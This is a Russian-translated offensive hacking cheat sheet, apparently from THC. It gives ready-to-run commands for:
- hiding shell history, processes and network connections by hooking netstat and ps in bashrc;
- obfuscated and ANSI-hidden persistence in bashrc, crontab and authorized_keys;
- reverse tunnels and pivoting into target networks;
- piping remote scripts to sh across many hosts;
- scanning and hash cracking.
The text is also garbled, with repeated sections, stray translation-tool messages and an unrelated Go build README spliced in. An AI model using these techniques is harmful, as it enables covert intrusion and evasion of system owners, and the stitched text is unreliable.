
Various tips & tricks
Собрание наших любимых трюков. Многие из этих трюков — не наши. Мы лишь их коллекционируем.
Мы показываем трюки «как есть» без объяснения, почему они работают. Вам нужно знать Linux, чтобы понять, как и почему они работают.
Есть трюки? Присоединяйтесь к нам https://thc.org/ops
1.i. Настройка Hack Shell (bash):
Сделайте BASH менее шумным. Отключает ~/.bash_history и многие другие вещи.```sh source <(curl -SsfL https://thc.org/hs)
Альтернативный URL:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
А если нет curl/wget, используйте surl и (временно) установленный curl с помощью bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).HackShell делает гораздо больше, но самое главное — вот что:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
Мы часто используем anew, и это быстрый обходной путь:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
Бонусный совет:
Любая команда, начинающаяся с « » (пробела), также [не попадает в историю](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces).```
$ id
1.ii. Скройте свою команду / Демонизируйте свою команду
Это скроет только имя процесса. Используйте zapper, чтобы также скрыть параметры командной строки.```shell (exec -a syslogd nmap -Pn -F -n --open -oG - 10.0.2.1/24) # Note the brackets '(' and ')'
Запустите фоновый 'nmap', скрытый как '/usr/sbin/sshd':```
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
Начните в GNU screen:``` screen -dmS MyName nmap -Pn -F -n --open -oG - 10.0.2.1/24
screen -x MyName
В качестве альтернативы скопируйте бинарный файл под новым именем:```sh
cd /dev/shm
cp "$(command -v nmap)" syslogd
PATH=.:$PATH syslogd -Pn -F -n --open -oG - 10.0.2.1/24
или используйте bind-mount, чтобы (временно) заставить /sbin/init указывать на /dev/shm/nmap вместо этого:```shell mount -n --bind "$(command -v nmap)" /sbin/init
(/sbin/init -Pn -f -n --open -oG - 10.0.2.1/24 &>nmap.log &)
<a id="zap"></a>
**1.iii. Скрывайте параметры командной строки**
Используйте [zapper](https://github.com/hackerschoice/zapper):```sh
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
.```sh
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
(./zapper -a 'sshd: root@pts/0' nmap -Pn -F -n --open -oG - 10.0.0.1/24 &>nmap.log &)
exec ./zapper -f -a'[kworker/1:0-rcu_gp]' tmux
<a id="bash-hide-connection"></a>
**1.iv. Скрыть сетевое соединение**
Трюк заключается в том, чтобы перехватить `netstat` и использовать grep для фильтрации нашего соединения. Этот пример отфильтрует любое соединение на порту 31337 _или_ ip 1.2.3.4. То же самое следует сделать и для `ss` (альтернативы netstat).
**Метод 1 — Скрытие соединения с помощью bash-функции в ~/.bashrc**
Скопируйте и вставьте это, чтобы добавить строку в ~/.bashrc```shell
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
Или скопируйте и вставьте это для обфусцированной записи в /.bashrc:```shell
X='netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }'
echo "eval $(echo $(echo "$X" | xxd -ps -c1024)|xxd -r -ps) #Initialize PRNG" >>/.bashrc
&& touch -r /etc/passwd ~/.bashrc
Обфусцированная запись в ~/.bashrc будет выглядеть так:```
eval $(echo 6e65747374617428297b20636f6d6d616e64206e6574737461742022244022207c2067726570202d4676202d65203a3331333337202d6520312e322e332e343b207d0a|xxd -r -ps) #Initialize PRNG
Метод 2 - Скрытие соединения с помощью бинарника в $PATH
Создайте поддельный бинарник netstat в /usr/local/sbin. В стандартном Debian (и в большинстве Linux) переменная PATH (echo $PATH) перечисляет /usr/local/sbin перед /usr/bin. Это означает, что наш подменяющий бинарник /usr/local/sbin/netstat будет выполнен вместо /usr/bin/netstat.```shell
echo '#! /bin/bash
exec /usr/bin/netstat "$@" | grep -Fv -e :22 -e 1.2.3.4' >/usr/local/sbin/netstat
&& chmod 755 /usr/local/sbin/netstat
&& touch -r /usr/bin/netstat /usr/local/sbin/netstat
*(спасибо iamaskid)*
<a id="hide-a-process-user"></a>
**1.v. Скрытие процесса как пользователь**
Продолжая тему «Скрытие соединения», тот же метод можно использовать для скрытия процесса. Этот пример скрывает процесс nmap, а также заботится о том, чтобы наш `grep` не отображался в списке процессов, переименовывая его в GREP:```shell
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc \
&& touch -r /etc/passwd ~/.bashrc
1.vi. Скрытие процесса от имени root
Для этого требуются права root. Это старый трюк Linux, заключающийся в монтировании бесполезной директории поверх /proc/<pid>:```sh hide() { [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; } _pid=${1:-$$} [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; } local _argstr for _x in "${@:2}"; do _argstr+=" '${_x//'/'"'"'}'"; done [[ $(bash -c "ps -o stat= -p $$") =~ + ]] || exec bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" bash -c "mount -n --bind /dev/shm /proc/$$; exec "$1" $_argstr" }
Чтобы скрыть команду, используйте:```sh
hide # Hides the current shell/PID
hide 31337 # Hides process with pid 31337
hide sleep 1234 # Hides 'sleep 1234'
hide nohup sleep 1234 &>/dev/null & # Starts and hides 'sleep 1234' as a background process
(спасибо druichi за улучшение)
Выше мы обсуждали, как запутывать строку в ~/.bashrc. Часто используемый трюк — использовать source вместо этого. Команду source можно сократить до . (да, точки) и она также ищет файл для загрузки в переменной $PATH.
В этом примере наш скрипт prng содержит все наши shell-функции из предыдущего раздела. Эти функции скрывают процесс nmap и сетевое соединение. Наконец, мы добавляем . prng в общесистемный rc-файл. Это загрузит prng при входе пользователя (и root):```shell
echo -e 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }
ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >/usr/bin/prng
&& echo ". prng #Initialize Pseudo Random Number Generator" >>/etc/bash.bashrc
&& touch -r /etc/ld.so.conf /usr/bin/prng /etc/bash.bashrc
(The same works for `lsof`, `ss` and `ls`)
<a id="cat"></a>
**1.viii. Hide from cat**
ANSI escape characters or a simple `\r` ([carriage return](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) can be used to hide from `cat` and others.
Hide the last command (example: `id`) in `~/.bashrc`:
(То же самое работает для `lsof`, `ss` и `ls`)
<a id="cat"></a>
**1.viii. Скрытие от cat**
Управляющие ANSI-символы или простой `\r` ([возврат каретки](https://www.hahwul.com/2019/01/23/php-hidden-webshell-with-carriage/)) можно использовать, чтобы скрыться от `cat` и других.
Скройте последнюю команду (например: `id`) в `~/.bashrc`:```sh
echo -e "id #\\033[2K\\033[1A" >>~/.bashrc
### The ANSI escape sequence \\033[2K erases the line. The next sequence \\033[1A
### moves the cursor 1 line up.
### The '#' after the command 'id' is a comment and is needed so that bash still
### executes the 'id' but ignores the two ANSI escape sequences.
Добавьте скрытую строку crontab:```sh (crontab -l; echo -e "0 2 * * * { id; date;} 2>/dev/null >/tmp/.thc-was-here #\033[2K\033[1A") | crontab
Добавление `\r` (возврат каретки) очень помогает скрыть ваш ssh-ключ от `cat`:```shell
echo "ssh-ed25519 AAAAOurPublicKeyHere....blah x@y"$'\r'"$(<authorized_keys)" >authorized_keys
### This adds our key as the first key and 'cat authorized_keys' won't show
### it. The $'\r' is a bash special to create a \r (carriage return).
1.ix. Выполнение параллельно с отдельными файлами журналов*
Примечание: То же самое можно сделать с помощью parallel.
Сканируйте хосты с 20 параллельными задачами:```sh cat hosts.txt | xargs -P20 -I{} --process-slot-var=SLOT bash -c 'exec nmap -n -Pn -sV -F --open -oG - {} >>"nmap_${SLOT}.txt"'
- `exec` используется для замены базовой оболочки последним процессом (nmap). Это необязательно, но уменьшает количество работающих/бесполезных бинарников оболочки.
- `${SLOT}` содержит значение от 0 до 19. Это «номер задачи». Мы используем его для записи результатов nmap в 20 отдельных файлов.
Запустите [Linpeas](https://github.com/carlospolop/PEASS-ng) на всех хостах [gsocket](https://www.gsocket.io/deploy), используя 40 воркеров:```sh
cat secrets.txt | xargs -P40 -I{} --process-slot-var=SLOT bash -c 'mkdir host_{}; gsexec {} "curl -fsSL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh" >host_{}/linpeas.log 2>>"linpeas-${SLOT}.err"'
Не позволяет вам отображаться в выводе команд w или who и предотвращает запись хоста в ~/.ssh/known_hosts.```sh ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
Полный комфорт с PTY и цветами: `xssh [email protected]`:```sh
### Cut & Paste the following to your shell, then execute
### xssh [email protected]
xssh() {
local ttyp="$(stty -g)"
echo -e "\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"
echo -e '\e[0;36msource <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)\e[0m'
echo -e "\e[2m# or: \e[0;36m\e[2mPS1='"'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '"'\e[0m"
stty raw -echo icrnl opost
[[ $(ssh -V 2>&1) == OpenSSH_[67]* ]] && a="no"
ssh -oConnectTimeout=5 -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking="${a:-accept-new}" -T \
"$@" \
"unset SSH_CLIENT SSH_CONNECTION; LESSHISTFILE=- MYSQL_HISTFILE=/dev/null TERM=xterm-256color HISTFILE=/dev/null BASH_HISTORY=/dev/null exec -a [uid] script -qc 'source <(resize 2>/dev/null); exec -a [uid] bash -i' /dev/null"
stty "${ttyp}"
}
(См. Hackshell)
2.ii Несколько оболочек через одно SSH/TCP-соединение
Установите одно TCP-соединение с целью и позвольте нескольким пользователям присоединиться к этому же TCP-соединению, чтобы открывать дополнительные сеансы оболочки.
Создайте мастер-соединение:```sh ssh -M -S .sshmux [email protected]
Создавайте дополнительные shell-сессии, используя то же (единственное) Master-TCP-соединение, указанное выше (пароль/авторизация не требуются):```sh
ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o "ControlPath=.sshmux" NONE:/etc/passwd .
Can be combined with xssh to hide from utmp.
Мы постоянно используем это для обхода локальных файрволов и фильтрации по IP:```sh ssh -g -L31337:1.2.3.4:80 [email protected]
Теперь вы или кто-либо ещё можете подключиться к вашему компьютеру на порту 31337, и трафик будет туннелирован на 1.2.3.4 порт 80, при этом источник будет отображаться как IP-адрес 'server.org'. Альтернативный вариант, не требующий сервера, — использовать [gs-netcat](#backdoor-network).
Опытные хакеры используют комбинацию клавиш `~C`, чтобы динамически создавать такие туннели без переподключения SSH. (спасибо MessedeDegod).
Мы используем это, чтобы дать другу доступ к внутренней машине, которая не находится в публичном интернете:```sh
ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 [email protected]
Любой, кто подключится к server.org:31338, будет перенаправлен на 192.168.0.5 на порт 80 через ваш компьютер. Альтернатива без необходимости в сервере — использовать gs-netcat.
OpenSSH 7.6 добавляет поддержку socks для динамического перенаправления. Пример: пропустите весь трафик вашего браузера через ваш сервер.```sh ssh -D 1080 [email protected]
Теперь настройте браузер на использование SOCKS с 127.0.0.1:1080. Весь ваш трафик теперь туннелируется через *server.org* и будет иметь исходный IP-адрес *server.org*. Альтернатива, не требующая сервера, — использовать [gs-netcat](#backdoor-network).
Это обратный вариант приведенного выше примера. Это даёт другим доступ к вашей *локальной* сети или позволяет другим использовать ваш компьютер в качестве конечной точки туннеля.```sh
ssh -g -R 1080 [email protected]
Остальные настраивают server.org:1080 в качестве SOCKS4/5-прокси. Теперь они могут подключаться к любому компьютеру на любом порту, к которому имеет доступ ваш компьютер. Это включает доступ к компьютерам за вашим межсетевым экраном, находящимся в вашей локальной сети. Альтернатива без необходимости в сервере — использовать gs-netcat.
ssh-j.com предоставляет отличный релейный сервис: для доступа к хосту за NAT/межсетевым экраном (по SSH).
На хосте за NAT: создайте обратный SSH-туннель к ssh-j.com так:```sh
sshj() { local pw pw=${1,,} [[ -z $pw ]] && { pw=$(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; } echo "Press Ctrl-C to stop this tunnel." echo -e "To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\e[0m" ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22} }
sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN
Затем используйте эту команду из любой другой точки мира, чтобы подключиться как 'root' к 'foobarblahblub' (хосту за NAT):```sh
ssh -J [email protected] root@foobarblahblub
SSH-соединение проходит через ssh-j.com в обратный туннель к хосту за NAT. Трафик зашифрован сквозным шифрованием, и ssh-j.com не может видеть содержимое.
2.vi SSH-пивотинг на несколько серверов
SSH ProxyJump может сэкономить вам массу времени и избавить от хлопот при работе с удалёнными серверами. Рассмотрим сценарий:
Наша рабочая станция — это $local-kali, и мы хотим подключиться по SSH к $target-host. Прямого соединения между нашей рабочей станцией и $target-host нет. Наша рабочая станция может дотянуться только до $C2. $C2 может дотянуться до $internal-jumphost (через внутренний eth1), а $internal-jumphost может достичь конечного $target-host через eth2.```sh
$local-kali -> $C2 -> $internal-jumphost -> $target-host
eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121
> Мы не выполняем `ssh` ни на одном компьютере, кроме нашего доверенного рабочего места — и вам не следует (никогда).
В этом помогает ProxyJump: мы можем «перепрыгивать» через два промежуточных сервера $C2 и $internal-jumphost (не запуская оболочку на этих серверах). SSH-соединение зашифровано сквозным шифрованием между нашими $local-kali и $target-host, и ни пароль, ни ключ не раскрываются ни $C2, ни $internal-jumphost.```sh
## if we want to SSH to $target-host:
kali@local-kali$ ssh -J [email protected],[email protected] [email protected]
## if we want to SSH to just $internal-jumphost:
kali@local-kali$ ssh -J [email protected] [email protected]
Мы также используем это для скрытия нашего IP-адреса при входе на серверы.
2.vii SSHD от непривилегированного пользователя
Можно запустить SSHD-сервер от непривилегированного пользователя и использовать его для мультиплексирования или перенаправления TCP-соединений (без ведения журнала и когда общесистемный SSHD запрещает перенаправление/мультиплексирование) или как быстрый exfil-dump-сервер, работающий без прав root:```sh
mkdir -p /.ssh 2>/dev/null
ssh-keygen -q -N "" -t ed25519 -f sshd_key
cat sshd_key.pub >>/.ssh/authorized_keys
cat sshd_key
$(command -v sshd) -f /dev/null -o HostKey=$(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv
```sh
# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 [email protected]
# curl -x socks5h://0 ipinfo.io
SSF — это альтернативный способ мультиплексирования TCP поверх TLS.
nmap -n -sn -PR -oG - 192.168.0.1/24
Входные данные отсутствуют. Пожалуйста, предоставьте текст фрагмента для перевода.```sh
### ICMP discover hosts
nmap -n -sn -PI -oG - 192.168.0.1/24
IDAM использует подход «все включено», включающий различные инструменты в коробке.
seq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 "${NET:-192.168.0}.{}" | grep 'bytes from' | awk '{print $4" "$7;}' | sort -uV -k1,1
---
<a id="tcpdump"></a>
**3.ii. tcpdump**```sh
## Monitor every new TCP connection
tcpdump -np 'tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0'
## Play a *bing*-noise for every new SSH connection
tcpdump -nplq 'tcp[13] == 2 and dst port 22' | while read -r x; do echo "${x}"; echo -en \\a; done
## Ascii output (for all large packets. Change to >40 if no TCP options are used).
tcpdump -npAq -s0 'tcp and (ip[2:2] > 60)'
3.iii. Туннель и переадресация```sh
socat stdio openssl-connect:smtp.gmail.com:465
openssl s_client -connect smtp.gmail.com:465
## ⚙️ Сборка из исходников
### Предварительные требования
Перед сборкой убедитесь, что у вас установлено следующее:
* **Go** (версия 1.21 или новее) — [скачать](https://golang.org/dl/)
* **Git** — [скачать](https://git-scm.com/downloads)
* **Make** (опционально, для использования прилагаемого Makefile)
### 1. Клонирование репозитория
```bash
git clone https://github.com/your-org/your-repo.git
cd your-repo
make build
Это скомпилирует бинарный файл и поместит его в директорию bin/.
go build -o bin/myapp ./cmd/myapp
Замените myapp на фактическое имя вашего приложения.
./bin/myapp
Перед запуском ознакомьтесь с разделом Конфигурация для настройки вашего окружения.
---```sh
socat TCP-LISTEN:25,reuseaddr,fork openssl-connect:smtp.gmail.com:465
---
<a id="ports"></a>
**3.iii.a Сырые обратные TCP-порты**
Полезно для обратных бэкдоров, которым нужен TCP-порт на публичном IP-адресе:
Используя [segfault.net](https://thc.org/segfault.net) (бесплатно):```sh
# Request a random public TCP port:
curl sf/port
echo "Your public IP:PORT is $(cat /config/self/reverse_ip):$(cat /config/self/reverse_port)"
nc -vnlp $(cat /config/self/reverse_port)
Использование bore.pub (бесплатно):```sh
bore local 31337 --to bore.pub
используя [serveo.net](https://serveo.net) (бесплатно):```sh
# Forward a random public TCP port to localhost:31337
ssh -R 0:localhost:31337 [email protected]
используя pinggy.io (60 минут бесплатно):```sh ssh -p 443 -R 0:localhost:31337 [email protected]
См. также [remote.moe](#revese-shell-remote-moe) (бесплатно) для проброса сырого TCP с целевой машины на вашу рабочую станцию или [playit](https://playit.gg/) (бесплатно) или [ngrok](https://ngrok.com/) (платная подписка) для проброса открытого публичного TCP-порта.
Другие бесплатные сервисы ограничены пробросом только HTTPS (не сырого TCP). Некоторые приёмы ниже показывают, как туннелировать сырой TCP через HTTPS-пробросы (с использованием веб-сокетов).
---
<a id="https"></a>
**3.iii.b Обратные HTTPS-туннели**
На сервере используйте любой из этих трёх HTTPS-туннелирующих сервисов:```sh
### Reverse HTTPS tunnel to forward public HTTPS requests to this server's port 8080:
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using remote.moe
ssh -R80:0:8080 -o StrictHostKeyChecking=accept-new [email protected]
### Or using cloudflared
curl -fL -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod 755 cloudflared
cloudflared tunnel --url http://localhost:8080 --no-autoupdate
Любой из сервисов сгенерирует для вас новый временный HTTPS-URL.
Затем используйте websocat или Gost на обоих концах для туннелирования raw TCP через HTTPS-URL:
A. Простой конвейер STDIN/STDOUT через HTTPS:```sh
websocat -s 8080
```sh
### On the remote target forward stdin/stdout to WebSocket:
websocat wss://<HTTPS-URL>
B. Проброс raw TCP через HTTPS:```sh
gost -L mws://:8080
Перенаправьте порт 2222 на порт 22 сервера.```sh
### On the workstation:
gost -L tcp://:2222/127.0.0.1:22 -F 'mwss://<HTTPS-URL>:443'
### Test the connection (will connect to localhost:22 on the server)
nc -vn 127.0.0.1 2222
или используйте сервер как EXIT-узел Socks-Proxy (например, для доступа к любому хосту внутри сети сервера или даже к Интернету через сервер (используя HTTPS-обратный туннель, описанный выше):```sh
gost -L :1080 -F 'mwss://:443'
curl -x socks5h://0 ipinfo.io
Ещё: [https://github.com/twelvesec/port-forwarding](https://github.com/twelvesec/port-forwarding) и [Туннель через Cloudflare к любому TCP-сервису](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) и [Awesome Tunneling](https://github.com/anderspitman/awesome-tunneling).
---
<a id="iptables"></a>
**3.iii.c Проброс трафика с помощью iptables**
Выполняйте проброс через хост/маршрутизатор без необходимости запускать прокси или форвардер в пользовательском пространстве:```sh
bounceinit() {
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 1 >/proc/sys/net/ipv4/conf/all/route_localnet
[ $# -le 0 ] && set -- "0.0.0.0/0"
while [ $# -gt 0 ]; do
iptables -t mangle -I PREROUTING -s "${1}" -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188
shift 1
done
iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark >/dev/null 2>/dev/null
iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark
iptables -I FORWARD -m mark --mark 1188 -j ACCEPT
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE
iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark
}
bounce() {
iptables -t nat -A PREROUTING -p tcp --dport "${1:?}" -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}
}
bounceinit # Allow EVERY IP to bounce
# bounceinit "1.2.3.4/16" "6.6.0.0/16" # Only allow these SOURCE IP's to bounce
(См. Hackshell bounce)
Затем настройте пересылку следующим образом:```sh bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault's ssh port. bounce 31338 127.0.0.1 8080 # Bounce 31338 to the server's 8080 (localhost) bounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443
Мы используем этот трюк, чтобы добраться до gsocket-relay-network (или TOR) из глубоко защищённых файрволами сетей.```sh
# Deploy on a target that can only reach 192.168.0.100
GS_HOST=192.168.0.100 GS_PORT=53 ./deploy.sh
# Access the target
GS_HOST=213.171.212.212 gs-netcat -i -s ...
Полезен на хосте внутри целевой сети. Этот инструмент перенастраивает (не оставляя следов) SHELL: любая программа (nmap, cme, ...), запущенная из этой SHELL, будет использовать поддельный IP. Все ваши атаки будут исходить от хоста, который не существует.```sh source <(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/ghostip.sh)
Это также работает в сочетании с:
* [Segfault's ROOT Servers](https://thc.org/segfault/wireguard): Подключит ваш ROOT-сервер к ЦЕЛЕВОЙ СЕТИ, используя Ghost IP внутри целевой сети.
* [QEMU Tunnels](https://securelist.com/network-tunneling-with-qemu/111803/): Как выше, но менее безопасно.
---
<a id="tunnel-more"></a>
**3.vi.d Различные туннельные трюки**
### Туннелирование через CDN
* Прочитайте [Как туннелировать любой TCP-сервис через CloudFlare](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) или используйте [DarkFlare](https://github.com/doxx/darkflare).
### Подключите ваш хост напрямую к удалённой сети
* [WireTap](https://github.com/sandialabs/wiretap) - Работает от пользователя или root. Использует UDP в качестве транспорта. ([Попробуйте](https://thc.org/segfault/wireguard) на segfault.)
* [ligolo-ng](https://github.com/nicocha30/ligolo-ng) - Использует TCP в качестве транспорта. Отлично работает через [cloudflare CDN](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) или gs-netcat.
### Использование SSH в качестве дешёвого обратного прокси через Cloudflare
Этот метод похож на [HTTPS-обратные туннели](#https), но использует SSH вместо Gost или websocat.
- Преимущество: Использует только *cloudflared* и *SSH* на целевой системе.
- Недостаток: Требуется подписка CF.
1. Перейдите в свою панель CF -> Zero Trust -> Networks -> Tunnels
2. Создайте новый туннель 'Cloudflared' с любым именем.
3. Выберите Debian & 64-bit. Токен показан не полностью. Извлеките "Token", скопировав затенённую область в отдельный документ, чтобы увидеть весь токен (длинные шестнадцатеричные строки после `sudo cloudflared service install <TunnelTokenHere>`).
4. Добавьте поддомен (в примере используется `ssh.team-teso.net`).
5. Установите Type=TCP URL=localhost:22```shell
### On YOUR workstation:
cloudflared tunnel run --token TunnelTokenHere
No input text was provided to translate. Please supply the Markdown content for chunk 122.```shell
ssh -o ProxyCommand="cloudflared access tcp --hostname ssh.team-teso.net" root@0 -R 1080
## Сравнение с графовыми базами данных```shell
### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)
curl -x socks5h://0 https://ipinfo.io
Используйте ProxyChains или GrafTCP для туннелирования других протоколов через обратный прокси.
3.iv. Используйте любой инструмент через Socks Proxy
В сети целевой машины:```sh
gs-netcat -l -S
На вашей рабочей станции:```sh
## Create a gsocket tunnel into the target's network:
gs-netcat -p 1080
echo -e "[ProxyList]\nsocks5 127.0.0.1 1080" >pc.conf proxychains -f pc.conf -q curl ipinfo.io
proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1
seq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{}
### Использование GrafTCP:```sh
## Use graftcp to access any host on the target's network:
(graftcp-local -select_proxy_mode only_socks5 &)
graftcp curl ipinfo.io
graftcp ssh [email protected]
graftcp nmap -n -Pn -sV -F --open 19.168.1.1
3.v. Узнайте свой публичный IP-адрес```sh curl -s wtfismyip.com/json | jq curl ifconfig.me dig +short myip.opendns.com @resolver1.opendns.com host myip.opendns.com resolver1.opendns.com
Получите информацию о геолокации любого IP-адреса:```sh
curl https://ipinfo.io/8.8.8.8 | jq
curl http://ip-api.com/8.8.8.8
curl https://cli.fyi/8.8.8.8
Получить информацию об ASN по IP-адресу:```sh asn() { [[ -n $1 ]] && { echo -e "begin\nverbose\n${1}\nend"|netcat whois.cymru.com 43| tail -n +2; return; } (echo -e 'begin\nverbose';cat -;echo end)|netcat whois.cymru.com 43|tail -n +2 } asn 1.1.1.1 # Single IP Lookup cat IPS.txt | asn # Bulk Lookup
Проверьте, работает ли TOR:```sh
curl -x socks5h://localhost:9050 -s https://check.torproject.org/api/ip
### Result should be {"IsTor":true...
3.vi. Проверка доступности со всего мира
Замечательные люди на https://ping.pe/ позволяют вам выполнить ping/traceroute/mtr/dig/проверку портов хоста со всего мира, проверить TCP-порты, разрешить доменное имя, ...и многое другое.
Чтобы проверить, насколько хорошо ваш (текущий) хост может подключаться к Интернету, используйте OONI Probe:```sh ooniprobe run im ooniprobe run websites ooniprobe list ooniprobe list 1
---
<a id="check-open-ports"></a>
**3.vii. Проверка/сканирование открытых портов на IP**
[Censys](https://search.censys.io/) или [Shodan](https://internetdb.shodan.io) — сервис поиска портов:```shell
curl https://internetdb.shodan.io/1.1.1.1
Быстрое (-F) сканирование уязвимостей```shell
nmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org
nmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org
Сканирование открытых TCP-портов:```sh
_scan_single() {
local opt=("${2}")
[ -f "$2" ] && opt=("-iL" "$2")
nmap -Pn -p"${1}" --open -T4 -n -oG - "${opt[@]}" 2>/dev/null | grep -F Ports
}
scan() {
local port="${1:?}"
shift 1
for ip in "$@"; do
_scan_single "$port" "$ip"
done
}
# scan <ports> <IP or file> ...
# scan 22,80,443 192.168.0.1
# scan - 192.168.0.1-254" 10.0.0.1-254
(См. Hackshell scan)
Простой порт-сканер на bash:```shell timeout 5 bash -c "</dev/tcp/1.2.3.4/31337" && echo OPEN || echo CLOSED
---
<a id="bruteforce"></a>
**3.viii. Взлом хэшей паролей**
1. [NTLM2password](https://ntlm.pw/) для взлома (поиска) NTLM-паролей
2. [wpa-sec](https://wpa-sec.stanev.org) для взлома (поиска) WPA PSK паролей
HashCat — наш основной инструмент для всего остального:```shell
hashcat my-hash /usr/share/wordlists/rockyou.txt
Используя 10-дневную 7-16-символьную hashmask на GPU:```sh curl -fsSL https://github.com/sean-t-smith/Extreme_Breach_Masks/raw/main/10%2010-days/10-days_7-16.hcmask -o 10-days_7-16.hcmask
nice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2
Взломайте хэши `known_hosts` OpenSSH, чтобы раскрыть IP-адрес:```shell
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/ipv4_hcmask.txt -O
curl -SsfL https://github.com/chris408/known_hosts-hashcat/raw/refs/heads/master/kh-converter.py -O
python3 kh-converter.py ~/.ssh/known_hosts >known_hosts_hashes
hashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt
👉 Read the FAQ.
Be aware that $6$ hashes are SLOW. Even the 1-минутная хэш-маска на 7–16 символов would take many days on a 8xRTX4090 cluster to complete.
